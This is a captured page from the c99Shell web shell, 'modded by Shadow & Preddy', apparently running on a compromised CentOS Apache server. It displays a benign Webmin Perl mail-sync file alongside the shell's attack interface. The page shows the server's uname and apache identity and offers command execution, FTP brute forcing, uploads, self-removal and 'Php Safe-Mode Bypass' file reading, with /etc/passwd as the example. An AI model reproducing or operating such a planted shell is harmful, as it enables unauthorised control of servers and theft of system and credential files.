!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/mailboxes/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     useradmin_update.pl (2.26 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

do 'mailboxes-lib.pl';

# useradmin_create_user(&details)
# Create a new empty mail file
sub useradmin_create_user
{
if ($config{'sync_create'}) {
    local ($dir, $style, $mailbox, $maildir) = &get_mail_style();
    if ($dir && -d $dir) {
        # Create mail file like /var/mail/USERNAME
        local $mf = &mail_file_style($_[0]->{'user'}, $dir, $style);
        if (!-e $mf) {
            &create_mail_file($_[0], $mf);
            }
        }
    if ($mailbox && !-e "$_[0]->{'home'}/$mailbox") {
        # Create mail file ~USERNAME/Mailbox
        &create_mail_file($_[0], "$_[0]->{'home'}/$mailbox");
        }
    if ($maildir && !-e "$_[0]->{'home'}/$maildir") {
        # Create mail directory like ~USERNAME/Maildir
        &create_mail_dir($_[0], "$_[0]->{'home'}/$maildir");
        }
    }
}

# create_mail_file(&user, file)
sub create_mail_file
{
open(TOUCH, ">$_[1]");
close(TOUCH);
if ($config{'sync_perms'}) {
    system("chmod ".
           quotemeta($config{'sync_perms'})." ".
           quotemeta($_[1]));
    }
chown($_[0]->{'uid'}, $_[0]->{'gid'}, $_[1]);
}

# create_mail_dir(&user, dir)
sub create_mail_dir
{
local $d;
foreach $d ($_[1], "$_[0]/cur", "$_[1]/tmp", "$_[1]/new") {
    &make_dir($d, 0700);
    if ($config{'sync_perms'}) {
        system("chmod ".
               quotemeta($config{'sync_perms'})." ".
               quotemeta($d));
        }
    chown($_[0]->{'uid'}, $_[0]->{'gid'}, $d);
    }
}



# useradmin_delete_user(&details)
# Delete the user's mail file
sub useradmin_delete_user
{
if ($config{'sync_delete'}) {
    local ($dir, $style, $mailbox, $maildir) = &get_mail_style();
    if ($dir && -d $dir) {
        local $mf = &mail_file_style($_[0]->{'user'}, $dir, $style);
        unlink($mf);
        unlink($mf.".pop");
        }
    &delete_user_index_files($_[0]->{'user'});
    }
}

# useradmin_modify_user(&details, &old)
# Rename the user's mail file if necessary, and change it's UID
sub useradmin_modify_user
{
if ($config{'sync_modify'} &&
    ($_[0]->{'user'} ne $_[1]->{'user'} || $_[0]->{'uid'} != $_[1]->{'uid'})) {
    local ($dir, $style, $mailbox, $maildir) = &get_mail_style();
    if ($dir && -d $dir) {
        local $omf = &mail_file_style($_[0]->{'olduser'}, $dir, $style);
        local $nmf = &mail_file_style($_[0]->{'user'}, $dir, $style);
        local @st = stat($omf);
        if ($st[4] != $_[0]->{'uid'}) {
            chown($_[0]->{'uid'}, $st[5], $omf);
            }
        if ($omf ne $nmf && -e $omf) {
            &rename_logged($omf, $nmf);
            }
        }
    }
}

1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0124 ]--